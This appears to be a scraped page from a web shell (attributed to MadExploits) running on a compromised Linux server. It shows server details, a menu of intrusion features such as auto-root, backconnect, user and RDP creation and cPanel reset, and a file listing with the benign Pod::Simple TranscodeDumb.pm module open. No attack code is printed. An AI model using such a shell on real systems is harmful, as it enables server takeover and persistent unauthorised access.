Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.190.253.56
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Pod /
Simple /
[ HOME SHELL ]
Name
Size
Permission
Action
BlackBox.pm
64.69
KB
-rw-r--r--
Checker.pm
5.24
KB
-rw-r--r--
Debug.pm
4.5
KB
-rw-r--r--
DumpAsText.pm
3.92
KB
-rw-r--r--
DumpAsXML.pm
4.29
KB
-rw-r--r--
HTML.pm
32.69
KB
-rw-r--r--
HTMLBatch.pm
39.55
KB
-rw-r--r--
HTMLLegacy.pm
2.69
KB
-rw-r--r--
LinkSection.pm
4.24
KB
-rw-r--r--
Methody.pm
3.48
KB
-rw-r--r--
Progress.pm
2.36
KB
-rw-r--r--
PullParser.pm
24.76
KB
-rw-r--r--
PullParserEndToken.pm
2.81
KB
-rw-r--r--
PullParserStartToken.pm
4.04
KB
-rw-r--r--
PullParserTextToken.pm
3.08
KB
-rw-r--r--
PullParserToken.pm
3.89
KB
-rw-r--r--
RTF.pm
21.14
KB
-rw-r--r--
Search.pm
32.7
KB
-rw-r--r--
SimpleTree.pm
4.47
KB
-rw-r--r--
Subclassing.pod
32.33
KB
-rw-r--r--
Text.pm
5.01
KB
-rw-r--r--
TextContent.pm
2.48
KB
-rw-r--r--
TiedOutFH.pm
2.67
KB
-rw-r--r--
Transcode.pm
699
B
-rw-r--r--
TranscodeDumb.pm
1.16
KB
-rw-r--r--
TranscodeSmart.pm
715
B
-rw-r--r--
XHTML.pm
24.93
KB
-rw-r--r--
XMLOutStream.pm
4.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TranscodeDumb.pm
require 5; ## This module is to be use()'d only by Pod::Simple::Transcode package Pod::Simple::TranscodeDumb; use strict; use vars qw($VERSION %Supported); $VERSION = '3.28'; # This module basically pretends it knows how to transcode, except # only for null-transcodings! We use this when Encode isn't # available. %Supported = ( 'ascii' => 1, 'ascii-ctrl' => 1, 'iso-8859-1' => 1, 'null' => 1, 'latin1' => 1, 'latin-1' => 1, %Supported, ); sub is_dumb {1} sub is_smart {0} sub all_encodings { return sort keys %Supported; } sub encoding_is_available { return exists $Supported{lc $_[1]}; } sub encmodver { return __PACKAGE__ . " v" .($VERSION || '?'); } sub make_transcoder { my($e) = $_[1]; die "WHAT ENCODING!?!?" unless $e; my $x; return sub {; #foreach $x (@_) { # if(Pod::Simple::ASCII and !Pod::Simple::UNICODE and $] > 5.005) { # # We're in horrible gimp territory, so we need to knock out # # all the highbit things # $x = # pack 'C*', # map {; ($_ < 128) ? $_ : 0x7e } # unpack "C*", # $x # ; # } #} # #return; }; } 1;
Close
